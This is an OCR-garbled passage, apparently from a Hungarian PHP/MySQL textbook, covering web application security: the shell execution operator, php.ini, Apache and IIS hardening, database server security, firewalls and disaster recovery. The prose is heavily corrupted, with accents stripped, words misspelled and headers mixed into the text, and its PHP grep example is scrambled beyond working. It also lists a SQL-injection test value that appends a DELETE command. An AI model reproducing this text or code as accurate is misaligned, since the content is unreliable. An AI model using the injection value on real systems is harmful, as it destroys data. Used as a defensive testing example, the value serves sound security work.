Ez a felhasznl rninden bizonnyal kevss fog bzni az oldal robusztussgban vagy biztonsgban. Ha a kezdetektl fogva tudatosan treksznk alkalmazsunk stabilitsra, s ennek megfelelen tervezzk, eredmnyesen cskkenthegle az emberi hibk miatt bekvetkez problmk valsznsgt. A kvetkez mdszerekkel rhegk el ezt a clt: Alapos tervezsi munka elzze meg termknk ltrehozst, s lehetsg szerint ksztsnk prototpusokat l Minl tb ben nzik t terveinket, annl nagyobb valsznsggel fogjuk kiszrni a lehetsges problmkat. Remek alkalom ez arra is, hogy hasznlhatsgi tesztet vgezznk alkalmazsunk kezelfelletn. Teremtsnk elegend tesztdsi erforrst projektnk szmra! Rengeteg projekten sprolnak ezen, vagy mindssze egyeden tesztel jut a projekt tven fejlesztjre. A fejlesztk jellemzen nem bizonyulnak j tesztelknek! Teljes mr tkben megbizonyosodnak ugyan arrl, hogy a megfelel inputtal kdjuk tkletesen mkdik, de kevsb megbzhatk az esetleges problmk feltrsban. A nagy szaftverfejleszt cgek majdnem ugyanannyi tesztelt s fejleszrt foglal koztatnak, s ugyan nem valszn, hogy fnkeink is meg fognak fizetni ilyen sok tesztelt, alkalmazsunk sikere vala mennyi tesztel erforrst mindenkppen ignyelni fog. Vegyk r fejlesztinket, hogy konkrt tesztdsi mdszertant kvessenek! Minden bizonnyal gy sem fogjk az sszes olyan hibt megtallni, amit egy tesztel megtallna, de mindenkppen segit elkerlni a regresszlst. Azt a szirucit nevezzk gy, amikor a korbban mr kijavtott problmk vagy hibk a kd egyb vltoztatsai miatt jbl megjelennek. A fejlesztknek csak akkor szabad megengedni, hogy vglegestsk a vltoztatsokat, ha minden egysg sikeresen tesztel te azokat. Az alkalmazst zembe helyezs utn, futs kzben is figyelni kell.A naplk rendszeres bngszsbl s a felhasznli/ fogyaszti szrevtelek elolvassbl kiderthet, hogy jelentkeznek-e komoly problmk vagy esetleges biztonsgi rsek. Ha igen, mr azeltt kezelni tudjuk ket, hogy kritikuss vlhatnnak.
16
(execution operator) nev funkcit. Ez alapveten olyan nyelvi opertor, amellyel tetszleges parancsokat futtatharunk pa rancshjban (Unix-szer opercis rendszerek esetben az sh valamilyen vltozata, Windows esetn a cmd.exe), ha fordtott idzjelek ( ') kz tesszk az adott parancsot. Fontos megjegyezni, hogy ez az idzjel nem azonos a sima, egyszeres id zjellel ( ').Angol nyelv billentykioszts esetn a bal fels sarokban helyezkedik el a billenty, ms nyelv billentyzeten ugyanakkor komoly kihvs lehet megrallni. A vgrehajt mveleti jel a lefuttatott program szveges kimenett tartalmaz sztringrtket adja vissza. Ha van egy olyan szveges fjlunk, ami nevekbl s telefonszmokbl ll listt tartalmaz, a grep paranccsal sszellt hatjuk a"Smith" szt tartalmazk listjt. A
grep [args) grep
listjt vrja, amelyek kzt keresnie kell.A keresend mintnak megfelel sorokat adja vissza.
minta kereses helye...
256
16. fejezet
A grepnek lteznek windowsos vltozatai, st, Windows alatt elrhet a findstr.exe nev, hasonlan hasznlhat program is. Az albbi kd futtatsval tallhatnnk meg a ,.Smith" nev embereket:
<?php ll az -i azt jelenti, $users = hogy nincs klnbsg kis- s nagybet kztt
ll a kimeneti sorok felbontsa tmbbe ll figyelem, Windows alatt a \n helyett \r\n legyen! "\n"); $sorok = split($felhasznalok, foreach ($sorok as $sor) ll a neveket s a telefonszmokat , $nevek_szama = split($sorok, echo "Nv: {$nevek szama[O] }, ',
'
);
Telefon#:
?>
Ha brmikor is megengedjk, hogy felhasznli input kerljn a fordtott idzjelek kztt lv parancsba, klnbz biztonsgi veszlyforrsoknak tesszk ki magunkat, s rendszernk biztonsga rdekben szigoran szrni kell ezt az inputot. A minimlis vintzkeds az escapeshellcmd fggvny hasznlata. Ha azonban biztosra szecernnk menni, ennl is szigo rbban kell korltozni a lehetsges inputokat. Mg ennl is rosszabb, hogy mivel alapesetben alacsony szint jogosulrsgi krnyezetben szetetnnk futtatni webszervernket s a PHP-t (erre a kvetkez rszekben mg bvebben visszatrnk), knnyen olyan helyzetben talljuk magunkat, hogy ezen parancsok futtatshoz magasabb szint jogosultsgokat kell kiosztanunk. Ezzel tovbb veszlyeztetjk biztonsgunkar. Az opertor hasznlara zleti krnyezetben igen nagyfok krltekintst s vatossgor ignyel.
Az exee parancs s a rendszerfggvnyek a vgrehajt opertorhoz nagyon hasonlan viselkednek, a klnbsg annyi,
hogy a parancsor kzvetlenl, nem pedig hjkrnyezetben futtatjk, s - a vgrehajt opertorral ellenttben - nem mindig adjk vissza a teljes kimenetet. Ugyanazokat a biztonsgi agglyokat hozzk el, gy ugyanazok a figyelmezrersek rvnyesek rjuk is.
Webszervernk s
Nem elegend kdunk biztonsgossgval trdni, a PHP-t futtat webszervernk teleptse s konfigurlsa is komoly biztonsgi agglyokat hordoz magban. A szmtgpeinkre s szervereinkre teleptend szoftverek nagy rszt olyan konfigu rcis fjlokkal s alaprtelmezett funkcikszleetei kapjuk, amelyek a szoftver erejt s hasznossgt hivatottak demonstrlni. A gyrtk azt felrtelezik, hogy kikapcsoljuk a szmunkra szksgtelen s/vagy a kvntnl kevsb biztonsgos funkcikat.
16
Sajnos sokan teljesen megfeledkeznek errl, vagy nem sznnak r elegend idt, hogy megfelelen vgrehajtsk. A bizronsg,.holiszrikus" megkzeltse megkveteli, hogy webszervereink s a PHP megfelel konfigurlsrl is gondos kodjunk. Br nincsen lehetsgnk bemutatni, hogyan lehet rninden szba jhet webszervert s PHP kiterjesztst biztons goss tenni, legalbb nmi rmpontot s irnymutarst adunk az elindulshoz, illetve ahhoz, hogyan tudunk a tmban tovbbi informcihoz jutni.
257
Az j verzi belltsa
Egyes szoftverek konfigurlsa s teleptse idignyes, szmos lpsbl ll folyamat lehet. Klnsen a Unix-verzik esetn, amikor forrsbl teleptnk, szmos olyan egyb szaftver lehet, amit eltte telepteni kell, majd a megfelel modulok s kiter jesztsek bekapcsalshoz szmos parancssori kapcsal belltsra van mg szksg. Nagyon fontos: kszesnk magunknak rvid teleptsi tmutatt, amit a szaftver jabb verziinak teleptsekor kvetni fogunk! gy biztosan nem fogunk megfeledkezni az olyan foncos dolgokrl, amik csak problmkat okoznnak a ksbbiekben. A vgrehajtand lpsek magas szma rniatt igen valszntlen, hogy a telepts sorn minden egyes apr rszletet fejben ru dunk tartani.
sszellits
)o
Tesztels
)o
zembe helyezs
l. szerverre msols 2. alapvet mkds
l. kiszolgl
l. alapvet mkds
felptse
2. PHP teleptse 3. konfigurcis fjlok
ellenrzse
2. resztsorozat futtatsa 3. egysgtesztek fut
ellenrzse
3. resztsorozat futtatsa 4. egysgtesztek
bellitsa
4. dokumentumok
rarsa
4. terhelsi tesztek
konfigurlsa
elvgzse
5. ad hoc tesztek
futtatsa
futtatsa
A php. ini
fjl tartalma
Ha eddig mg nem szntuk r magunkat a php.ini fjl tbngszsre, itt a remek alkalom, hogy betltsk valarnilyen szveg
szerkesztbe, s megvizsgljuk a tartalmr! Az ilyen fjlok bejegyzseinek nagy rsze megfelel megjegyzsekkel rendelkezik, amelyek hasznlatukat rjk le. Ezen kvl a funkciterlet/kiterjeszts neve szerinc vannak rendezve, gy az mbstring kon figurcis opcik neve mbstring-gel kezddik, a munkamenetekkel (session) kapcsolatosak pedig session eltaggal brnak (23. fejezet: Munkamenet-vezrls PHP-ben). A modulok rengeteg olyan konligurcis belltst knlnak, amelyeket soha nem fogunk hasznlni, s amelyek miart-ha ezek a modulok nincsenek bekapcsolva-aggdnunk sem kell. A hasznlt modulok esetben azonban fontos, hogy a PHP on line kziknyvben (http://www.php.net/manual) tnzzk dokumentcijukat, s tisztban legynk az egyes kiterjesztsek opciival, illetve azok lehetsges rtkeiveL Meginc csak ersen ajnlott, hogy rendszeres biztonsgi mentseket ksztsnk php.ini fjlunkrl, vagy rjuk fel, hogy milyen vltoztatsokat hajtottunk vgre benne, hogy j verzik teleptse esetn biztosak lehessnk benne: a megfelel belltsokkal hasznljuk. Az ezekkel a belltsokkal kapcsolatos egyetlen trkk, hogy PHP-ben rt rgi szaftver hasznlata esetn j esllyel szksg lehet a register globals s/vagy a register long arrays bekapcsolsra. Ebben az esetben sajt magunknak
_ _ _
16
\,
kell eldnteni, hogy az adott szaftver hasznlata megri-e a biztonsgi kockzatot. E kockzat egybknt gy mrskelhec, ha rendszeresen utnanznk a szaftverhez tartoz biztonsgi javtsoknak vagy egyb frisstseknek.
258
16. fezet
A webszerver konfigurlsa
Ha mr megfelelnek talljuk a PHP konfigurlst, forditsuk figyelmnket a webszerver fel! A biztonsg szempontjbl minden kiszolglnl ms konfigurlsi folyamat vr rnk, mi most a kt legnpszerbb, az Apache HTTP Server s a Micro soft IlS bellitst tekintjk t.
A httpd szerver alaprtelmezett teleptse elfogadhatan biztonsgos, m rdemes nhny dolgot alaposan leellenrizni, mie ltt lesben zembe helyeznnk a kiszolglt. Az sszes konfigurcis belltst a httpd. conf nev fjlban talljuk, amely ltalban a httpd alapteleptsnek l conf alknyvtrban helyezkedik el (ami nem ms, rnint a /usr l local/apache/ conf vagy a C: \Program Files\Apache Software Foundation\Apache 2. 2\conf) . Ne felejtsk el elolvasni a ki szolgl online dokumentcijban (http://httpd.apache.org/docs-project) a vonatkoz biztonsgi rszeket! Ezen tlmenen tegyk a kvetkezket: Ellenrizzk, hogy a httpd superuser jogosultsgok nlkli felhasznlknt fut (Unix esetn pldul nobody vagy httpd ) ! Ezt a httpd. confUser s Group bellirsai szablyozzk. Ellenrizzk az Apache teleptsi knyvtr fjljogosultsgainak megfelel belltst! Unix esetn ez magban foglalja azt, hogy a gykrknyvtr (amely alaprtelmezetten a htdocs/ alknyvtrat hasznlja) kivtelvel minden knyvtr a root tulajdonban van, s 7 55 jogosultsggal rendelkezik. Ellenrizzk, hogy a szerver gy legyen belltva, hogy megfelel szm kapcsolatot tudjon kezelni! A httpd 1.3.x verziinak felhasznli esetben olyan sszer szmot rdemes a MaxClients rtknek adni, amely egyidej leg mg feldolgozhat (az alaprtelmezett rtk, a 150 teljesen sszer, de ha nagyobb terhelsre szmtunk, meg emelhetjk azt). Az Apache 2.x verziknl, ahol lehetsges a multithreading (tbb szJon fut feladat-vgrehajts), a ThreadsPerChild rtket kell ellenrizni (az alaprtelmezett rtk, az 50 ltalban elfogadhat). A httpd. conf fjlba megfelel direktvkat belevve rejtsk el a fjlokat, arniket nem szeretnnk, ha ms is ltna! Ha pldul az . inc fjlok megtekinthetsgt szeretnnk megakadlyozni, az albbiakat kell bernunk:
<Files
"\.inc$"> deny
</Files>
Mint mr emltettk, minl elbb tvoltsuk el ezeket a fjlokat az adott weboldal gykrknyvtrbl!
Microsoft IlS
Az liS konfigurlsa kevsb a belltsfjlok krl forog, rnint az Apache HTTP Server esetn, ennek ellenre szmos dolgot
16
meg kell tennnk az liS teleptsnek biztonsgoss ttele rdekben: vakodjunk attl, hogy a weboldalak ugyanarra a meghajtra kerljenek, rnint az opercis rendszer! Hasznljuk az NTFS fjlrendszert, s fordtsunk idt arra, hogy a szksges helyekrl eltvoltsuk az rsi jogosultsgo kat! Trljk ki az liS ltal alaprtelmezsben a gykrknyvtrba teleptett sszes fjlt! Nagy valsznsggel zek tl nyom tbbsgt soha nem fogjuk hasznlni (st, knnyen lehet, hogy egyiket sem). Teleptskor jelents mennyisg tartalom kerl az \inetpub knyvtrba, amelyre, hacsak nem hasznljuk az online konfigurcis eszkzket (s ne hasznljuk ezeket, vlasszuk inkbb az iisadrnin segdalkalmazst!), nem lesz szksgnk. Kerljk a gyakori nevek hasznlatr! Rengeteg automatizlt program ltezik, amely a gykrknyvtrunk gyakori nev alknyvtraiban (pldul Scripts/, egi -bin/, b in/ stb.) kutat kdok s prograrnak utn. Ismt csak ajnlani tudjuk, hogy az liS dokumentcijt elolvasva alaposabban tjkozdjunk az ajnlott biztonsgi eljrsokrL
259
A biztonsg rdekben szmos dolgot megtehetnk, amikor megfelel szolgltatst keresnk webes alkalmazsaink elhelyezsre: Mieltt valamelyik szaigitats mellett dntennk, nzzk meg, milyen tmogatst nyjranak! A jobb szolgltatsokhoz teljes online dokumentci tartozik (egyes szolgltatknl kivl dinamikus oktatanyagokat is tallhatunk), amelybl pontosan kiderl, hogyan kanfigurljk trhelynket. Ezt alaposan ttanulmnyozva megtudhatjuk, milyen korltoz sokra s tmogatsra szmthatunk az adott szolgltatnl.
Olyan trhelyszolgltatst keressnk, amely teljes knyvtrft s nem csak gykrknyvtrat knl! Egyes szolglra tknl trhelynk gykrknyvtra az alap dokumentumknyvtr, msok teljes knyvtrhierarchit adnak, amelyben a public_html/ az a hely, ahova a tartalom s a futtathat PHP kdok kerlnek. Ezeknl a biztonsg rdekben megtehetjk, hogy ltrehozzuk az includes/ knyvtrat. Ezzel lehetv vlik, hogy msok ne tekinchessk meg . inc fjljaink tartalmr. Prbljuk meg kiderteni, milyen belltsokat hasznlnak a php. ini fjlban! Br a szolgltatk tbbsge nem jelenti meg ezeket az oldalon, illerve nem fogjk a fjlt e-mailben elkldeni szmunkra, a mszaki gyflszolglattl megkr dezhetjk, hogy a biztonsgos md be van-e kapcsolva, s milyen fuggvnyeket s osztlyokat kapcsoltak ki. A bellt sok rtkeit az ini_get fuggvnnyel is kiderthetjk. A biztonsgos mdot nem hasznl vagy egyeden fuggvnyt ki nem kapcsal oldalak esetben jobban aggdhatunk, mint az sszeren biztonsgos konfigurcit knl szolgltatknl. Nzzk meg, milyen verzij szaftvereket futtatnak! A legfrissebb verzikat? Ha nem talljuk a phpinfo kimenett, hasznljunk olyan szolgltatst, mint pldul a Netcraft (http:/ /www.netcraft.com), amellyel megtudhatjuk, milyen szaftvereket futtat az adott oldal! Ellenrizzk, hogy valban PHP5-t hasznlnak!
Keressnk olyan szaigitatst, ahol van ingyenes prbaidszak, pnzvisszafizetsi garancia vagy brmilyen ms lehetsg, amivel hossz tv ktelezettsgvllals nlkl kiprblhatjuk, hogyan fognak futni webes alkalmazsaink az adott trhelyen.
Az adatbzisszerverek biztonsga
Tl azon, hogy minden szaftvernket naprakszen tartjuk, szmos dolgot megtehetnk adatbzisaink biztonsga rdek ben. Megint csak elmondhat, hogy a biztonsgrl teljes knyveket rhatnnk minden egyes adatbzisszerverhez, amelyre webes alkalmazsainkat rjuk, m itt s most csak olyan ltalnos stratgikat tudunk bemutatni, amelyek mindenkire egy arnt rvnyesek.
16
Kapcsoldjunk felhasznli nv s jelsz megadsa nlkl! Kapcsoldjunk rendszergazdaknt jelsz nlkl! Adjunk meg rendszergazdaknt hibs jelszt! Kapcsoldjunk felhasznlknt, s prbljunk meg olyan tblt elrni, amelyre nincsen jogosultsgunk! Kapcsoldjunk felhasznlkn t, s prbljuk meg elrni a rendszeradatbzisokat vagy a jogosuJtsgi tblkat!
Ang nem prbltuk ki mindezeket, nem lehetnk biztosak rendszernk jogosuJtsgi rendszernek megfelel vdelmben.
260
16. fgezet
Adatklds a szerverre
Knyvnk eddigi oldalain mr tbbszr elmondtuk (s mg j nhnyszor el fogjuk mondani), hogy soha ne kldjnk a szer verre szretlen adatokat. Az adatbzis-kiterjesztsek ltal elrhet, a vdkarakterek hasznlatt lehetv tev fggvnyek (pldul a mysqli_real_escape_string vagy a mssql_ escape_string ) segtsgvel legalbb alapszint vdelmet kialakitharunk. Azonban az is kiderlt mr szmunkra, hogy nem elegend ezekre a fggvnyekre tmaszkodni, a beviteli rlapok minden mezjnl tpusellenrzst kell vgrehajtani. Minden bizonnyal szeretnnk elkerlni, hogy a felhasznli nevet vr mezbe tbb kilobjtnyi adat vagy felhasznli nevekbe nem val karakter kerljn. A kdban vgrehajtott ellenrzssei pontosabb hibaze neteket adhatunk, s cskkenthetjk az adatbzisainkra leselked biztonsgi kockzatot. Szmszer s dtum/id adatok eset ben is gyzdjnk meg a felhasznJk ltal bevitt rtkek sszersgrl, s csak utna tovbbtsuk azokat a kiszolglnak! Vgezetl az azt megenged szervereken hasznlharunk trolt eljrsokat, amelyek nagyrszt elvgzik helyetrnk a vdka rakterek kiosztsnak munkjt, s gondoskodnak arrl, hogy szksg esetn idzjelek kz kerljn az, aminek idzjelek kztt kell lennie. Megint csak tesztelssei tudunk megbizonyosodni arrl, hogy adatbzisunk megfelelen kezeli az adatokat: Prbljunk az rlapokba olyan rtkeket bevinni, mint pldul a ; DELETE FROM Artalmatlan_Tabla' stb.! Szmokat vagy dtumokat fogad mezkbe prbljunk olyan rtelmetlen rtkeket berni, mint az 55#$ 8 8 8 ABC', s figyeljnk, hogy hibazenetet kapunk-e! Prbljunk meg az ltalunk megadott mrethatron felli adatot bevinni, s figyeljk, hogy bekvetkezik-e a hiba!
' '
Kapcsolds a szerverhez
Szmos mdszer ltezik, hogy az adatbzisszervereinkhez val kapcsoldsokat ellenrzsnk alatt tartva megrizzk a ki szolglink biztonsgossgt. Az egyik legegyszerbb mdszer, ha korltozzuk a felhasznlkat abban, hogy honnan kapcso ldhatnak. A klnbz adatbzis-kezel rendszerekben hasznlt jogosuJtsgi rendszerek nagy rsznl nem csak felhasznli nevet s jelszt adharunk meg az egyes felhasznlkhoz, hanem azokat a szmrgpeket is meghatrozhaguk, amelyekrl a csatlakozs megengedett. Amennyiben adatbzisszervernk s webszervernk/PHP motorunk ugyanazon a szmtgpen tallhat, akkor rdemes csak a localhostrl vagy a gp ltal hasznlt IP-cmrl rkez kapcsoldsokat engedlyezni. Ha webszervernk llandan ugyanazon a gpen mkdik, akkor teljesen helynval, ha a felhasznlkat csak arrl a szmtgp rl engedjk csatlakozni az adatbzishoz. Sok adatbzisszerver funkcii kztt megtalljuk azt a lehetsget, hogy rickosrott kapcsolaton keresztl (ltalban a Secure Sockets Layer - SSL nven ismert protokollt hasznlva) kapcsoldjunk hozzjuk. Ha brmikor is a nyilvnos interneten keresztl kell adatbzisszerverhez kapcsoldni, titkostott kapcsolatot kell hasznlni - amennyiben elrhet ilyen. Ha nem, rdemes lehet alagutat (tunne!) ltrehoz termket vlasztani. Az alagt olyan pokolian okos det, amely biztonsgos kapcsolatot hoz ltre az egyik gptl a msikig, s a TCP /IP portok (pldul a 80-as port a HTTP- s a 25-s az SMTP forgalomhoz) ezen a biztonsgos kapcsolaton keresztl vannak a msik gphez irnytva, ami helyinek ltja a forgalmat. Vgezetl nem szabad megfeledkezni arrl, hogy az adatbzisszervernl belltott, lcala egyszerre kezelni kpes kapcsold sok szma nagyobb legyen, mint amennyit a webszerver s a PHP lehetv tesz. Korbban emltettk, hogy az Apache HTTP Server 1.3.x verzii alaprtelmezsben maximum 150 kapcsolatot tudnak kezelni. Ha a my.ini-ben a MySQL ltal megenge dett kapcsolatok szmt az alaprtelmezetten rtken (100) hagyjuk, mris hibs konfigurcit kapunk. Ezt elkerlend min denkppen a kvetkez mdostst kell vgrehajtanunk my.ini fjlunkban:
max connections=151
16
Azrt engedlyeztnk eggyel tbb kapcsolatot, mert a MySQL mindig fenntart egyet a rendszergazdnak. gy akkor is bejelentkezhet s dolgozhat, ha a kiszolgl teljesen le van terhelve.
A kiszolgl futtatsa
A kiszolgl biztonsga rdekben szmos dolgot megtehetnk az adatbzisszerver futtatsa sorn. Az els s legfontosabb, hogy soha nem szabad azt superuserknt (Unix esetn rootknt, Windows esetn rendszergazdaknt) futtatni. Ha a szerverr brmikor feltrik, teljes rendszernk veszlyben lesz. A MySQL igazbl csak akkor hagyja, hogy superuserknt futtassuk, ha ilyetn szndkunkat megerstve knyszertjk r - ami termszetesen megint csak ellenjavallt. Az adatbzisszaftver belltsa utn a legtbb program azt kri, hogy - a frksz szemek elli elrejtsk rdekben - m dostsuk az adatbzis knyvtrainak s fjljainak rulajdonosait, illetve a vonatkoz jogosultsgokat. Ne feledjk megtenni ezt, s gyeljnk, hogy ne a superuser legyen az adatbzisfjlok tuldonosa! (Ellenkez esetben ugyanis a nem superuseri adatb zisszerver-folyamatok mg sajt adatbzisfjljaikba sem tudnnak rni.)
261
Amikor a jogosultsgi s hitelestsi rendszerrel dolgozunk, csak a lehet legszkebb jogosultsgokkal hozzuk ltre a fel hasznlkat! Nem rdemes szles kr jogosultsgokat kiosztani nekik, mondvn valamikor mg szksgk lehet r. ppen ellenkezleg: szksg esetn kell tovbbi jogosultsgokat adni.
A hlzat vdelme
Szmos mdszer ltezik a webes alkalmazsunknak otthont ad hlzat vdelmre. Br ezek rszletes bemutatsa meghaladja knyvnk lehetsgeit, viszonylag egyszeren tjkozdhatunk az ilyen mdszerekrl, amik nem csak webes alkalmazsainkat fogjk vdeni.
Tzfalak teleptse
Ahogy a PHP-ben rt webes alkalmazsunkba rkez minden felhasznli inputot szrnnk kell, ugyangy kell eljrni a hl zarunkba rkez teljes forgalommal, legyen sz cges irodai hlzatrl vagy adatkzpontrl, amelyben szervereinket s alkal mazsainkat zemeltetjk. Tzfallal tehetjk ezt meg, ami lehet ismert opercis rendszeren - pldul FreeBSD-n, Linuxon vagy Microsoft Windowsan - fut szaftver vagy hlzati eszkzgyrttl beszerzett, dediklt hlzatbiztonsgi berendezs. A tzfal feladata
a
nem kivnt forgalom kiszrse s a hozzfrs megakadlyozsa hlzatunk azon rszeihez, amelyeket nem szeretnnk, hogy A TCP /IP protokoll, amelyre az internet pl, portokon keresztl mkdik, spedig gy, hogy klnbz portokat ren
msok bolygassanak. delnk az eltr pus forgalmakhoz (a HTTP-hez pldul a 80-as port tartozik). Sok portot szigoran csak bels hlzati forgalomra hasznlunk, ezek kis szerepet jtszanak a klvilggal val rintkezsnkben. Ha megtiltjuk, hogy ezeken a porto kon keresztl forgalom rkezzen hlzarunkba vagy menjen ki, cskkentjk annak kockzatt, hogy szmtgpeinket vagy szervereinket (s ezltal webes alkalmazsainkat) feltrjk.
DMZ hasznlata
Mr utaltunk r, hogy szervereinket s webes alkalmazsainkat nem csak kls szemlyektl rkez tmads fenyegeti, hanem
a bels,
rosszindulat felhasznJk is kockzatot jelentenek. Br utbbi tmadk kevesebben vannak, a cg mkdsrl kiter
jedt informcikkal rendelkeznek, s ezek birtokban akr nagyobb krt kpesek okozni. Az ilyen kockzat mrsklsnek egyik mdja az gynevezett demilitarizlt zna ( demilitarized zone - DMZ) megvalsr
sa. Ebben szervert
a rendszerben a webes alkalmazsainkat futtat kiszolglkat (s ms szervereket, pldul a cges fjl- vagy levelez
16
Adatbzis szerver
A bels s kls tmadsoktl egyarnt vdi szervereinket s webes alkalmazsainkat. Vllalari hlzarunk s az interner kz tbb tzfal- s biztonsgi rteget helyezve mg jobban vdi bels hlzatainkat.
262
16.fezet
A DMZ tervezst, teleptst s zemeltetst a webes alkalmazsunkat zemeltet hely hlzati rendszergazdival kell egyeztetni.
16
rendszer FireWire alrendszert rinti a biztonsgi javts, de kiszolglnkban egyltaln nincsen FireWire hardver, akkor egy rtelmen idpocskols vgigmenni a javts tesztdsi s teleptsi folyamatn.
263
velk.
Katasztrfaelhrtsi terv
Ha szeretnnk teljesen res, a semmibe rved tekintetet ltni, krdezznk meg egy informatikai vezett, hogy mi trtnne kiszolglikkal vagy inkbb teljes adatkzpontjukkal, ha a gpeknek otthont ad plet legne, vagy ers fldrengsben elpusz tulna! Az informatikusok ijeszten magas arnya egyltaln nem tudna vlaszolni. A kataszttfa-elhrtsi tervezs a szolgltats kritikus, mgis gyakran figyelmen kvl hagyott rsze, legyen az a szolgltats pusztn egy webes alkalmazs vagy brmi egyb (pldul vllalkozsunk mindennapi mkdtetse). A terv elksztse jellem zen olyan dokumentumok vagy folyamatok sszelltsbl ll, amelyek pldul az albbi esemnyek bekvetkezse esetn felmerl krdsekkel foglalkoznak: Adatkzpontunk valamilyen katasztrfa kvetkeztben rszben vagy egszben megsemmisl. Fejlesztcsapatunkat ebdsznetben elti egy busz, s mindannyian slyosan megsrlnek (vagy meghalnak). A vllalati kzpont leg. Egy kls tmadnak vagy egy elgededen alkalmazottnak sikerl webes alkalmazsaink sszes adatt megsemmiste me. Klnbz okok miatt, de sokan nem szeremek szerencsdensgekrl s tmadsokrl beszlni, m a knyrtelen valsg
az,
hogy ilyen dolgok elfordulnak- br szerencsre viszonylag ritkn. Az zleti szervezetek azonban jellernzen nem enged
hetik meg maguknak a lells t, amit az ilyen nagysgrend esemnyek okoznnak abban az esetben, ha teljesen felkszletlenl rn ket. Egy naponta tbb milli dollros bevtelt elr vllalat igen komolyan megrezn, ha webes alkalmazsai nem len nnek elrhetk tbb mint egy htig, addig, amg a rendszert nem szz szzalkban ismer emberek annak helyrelltsn s jraindtsn dolgoznnak. Az ilyen esemnyekre felkszlve, bekvetkezsket egyrtelm akcitervvel vrva s az akciterv kritikusabb rszeit elpr blva hatalmas vesztesgek potencilis lehetsgtl kmlhetjk meg zleti szervezetnket, ha tnyleg bet a mnk. Az albbiakkal segithetjk a katasztrfa-elhrrsi terv ltrehozst s - szksg esetn- vgreh:ytst: Gondoskodjunk az sszes adat napi biztonsgi mentsrl fizikailag msik helysznen, gy adatkzpontunk teljes meg semmislse esetn is megmaradnak adataink! Legyen kzzel rott, fizikailag szintn mshol trolt feljegyzsnk a szerverkrnyezet ltrehozsra s webes alkalmaz sunk belltsra vonatkoz utastsokkal l Legalbb egyszer prbljuk el a teljes helyrelltsri Ksztsnk teljes msolatot webes alkalmazsunk forrskdjrt s tartsuk ezt is msik helysznen! Nagyobb munkahelyi csapatok esetn tiltsuk meg, hogy minden kollga ugyanabban a jrmben (pldul autban vagy replgpen) utazzon, hogy egy esetleges baleset ne rinehesse a csapat minden tagjt! Automatizlt eszkzk futtatsval ellenrizzk a szerver megfelel mkdst, s jelljnk ki egy alkalmazottat, aki vszhelyzet vagy brmilyen problma esetn nem munkark alatt is kteles bejnni! Olyan szerzdst kssnk a neknk a hardvereket rtkest partnerrel, hogy adatkzpontunk megsemmislse esetn az j hardver azonnal elrhet legyen! Nagyon idegest lenne ngy-hat htig vrni az j szerverek megrkezsre.
16
Hogyan tovbb
A Hitelests
lehetv tev hitelestst. Klnbz mdszereket ismernk meg, kztk az oldal felhasznlit PHP s MySQL segtsgvel ellenrz hitelesrst.
Ltogatk azonostsa
Ugyan az internet elgg anonimitsbart mdium, sok esetben hasznos dolog tisztban lenni azzal, ki ltogatja oldalunkat. A ltogatk adatainak vdelme szempontjbl szerencss, hogy segtsgk nlkl nagyon keveset rodharunk meg rlunk. Kis energival ugyanakkor a szerverek egsz sok informcit sszegyjthetnek a hozzjuk kapcsold szmrgpekrl s hlza rokrL A bngszk ltalban azonostjk magukat, kzlik a kiszolglval, hogy a felhasznl milyen bngszt, annak melyik verzijt s milyen opercis rendszert futtat. JavaScript segtsgvel az esetek tbbsgben azt is megllapthatjuk, hogy a l togatk kijelzje milyen felbontsra s sznmlysgre van lltva, illetve milyen nagy a bngszjk ablaka. Minden szmtgp egyedi IP-cmen kereszrl csatlakozik az internethez. A ltogat IP-cmbl valamilyen mrtkben kvetkeztetni tudunk r. Kiderthetjk, kinek a birtokban van az IP-cm, s gyakran egsz jl tippelhetnk a ltogat fld rajzi elhelyezkedsre is. Az IP-cmek azonban nem egyformn hasznosak szmunkra. ltalnossgban igaz, hogy az lland internerkapcsolattal rendelkez felhasznl lland (fix) cmmel rendelkezik. Az internetszolgltathoz (ISP) berrcsz fel hasznlk jellemzen ideiglenesen hasznlhatjk a szolgltar egyik cmt. Ha legkzelebb tallkozunk ugyanazzal a cmmel, akkor knnyen lehet, hogy mr msik szmtgp hasznlja, s amikor legkzelebb tallkozunk a ltogatval, nagy valszn sggel msik IP-cme lesz. Az IP-cmek nem olyan mrtkben alkalmasak a ltogatk azonostsra, mint elsre hihetnnk. Az internetfelhasznlk szmra elnys lehet, hogy a bngszik ltal megadott informcik nem alkalmasak azonost sukra. Ha tudni szeretnnk valamelyik ltogatnk nevt vagy egyb adatt, meg kell krdeznnk tle. Sok weboldal igen hathats eszkzkkel knyszerti a felhasznlkat szemlyes adataik megadsra. A New York Times jsg (http:/ /www.nytimes.com) tartalma ingyenesen elrhet, de csak azon ltogatknak, akik hajlandk megadni olyan ada raikar, mint a nevk, a nemle s a hztartsuk teljes jvedelme. A Slashdot nev hr- s frumoldalon (htrp:/ /www.slashdot. org) csak a regisztrlt felhasznlk rhatnak bejegyzseket, k viszont testre szabhatjk sajt maguk szmra az oldal fellett.
A legtbb e-kereskedelmi oldal az els rendelsnl elkri s eltrolja a vsrlk adatait. Ez azr jelenti, hogy nem szksges min
den vsrlskor minden adatot begpelni k. Ha informcit krtnk s kaprunk ltogatinktl, kvetkez ltogatsukkor valahogyan ssze kell kapcsolnunk az egyes fel hasznlkat az ltaluk korbban megadott adatokkal. Ha elfogadjuk azt a felttelezst, hogy egy adott szmrgpen lv adott fel hasznli nvvel egyetlen szemly ltogatja csak oldalunkat, akkor arra a gpre stit (cookie-t) rakva azonosthatjuk a felhasznlt. Szinte biztos, hogy ez a felttelezs nem minden felhasznl esern llja meg a helyt. Egy-egy szmtgpen tbb felhaszn l is osztozhat, s brki hasznlhat egynl tbb gpet is. Legalbb alkalmanknt meg kell krdeznnk ltogatnkat, hogy ki is
tulajdonkppen. Radsul nem elg ezt csak megkrdezni, hanem krni kell, hogy valahogyan bizonyrsa be: rnyleg az, akinek
mondja magr.
266
17.fezet
Az e-kereskedelem biztonsgi krdsei cm fejezetben szba kerlt, hogy hitelestsnek (authentication) nevezzk azt, ami
kor felkrjk a felhasznlt szemlyazonossga bizonytsra. A hitelests weboldalakon hasznlt ltalnos mdszere az, ha a felhasznl megadja egyedi felhasznli nevt s jelszavt.A hitelesrst jellemzen arra hasznljuk, hogy hozzfrst adjunk adott oldalakhoz vagy informciforrsokhoz, vagy ppen ellenkezleg: megtagadjuk a hozzfrst. A hitelests lehet opcion lis, s hasznlhatjuk ms clokra, pldul tartalom testre szabsra (perszonalizlsra) is.
Hozzfrsszablyozs megvalstsa
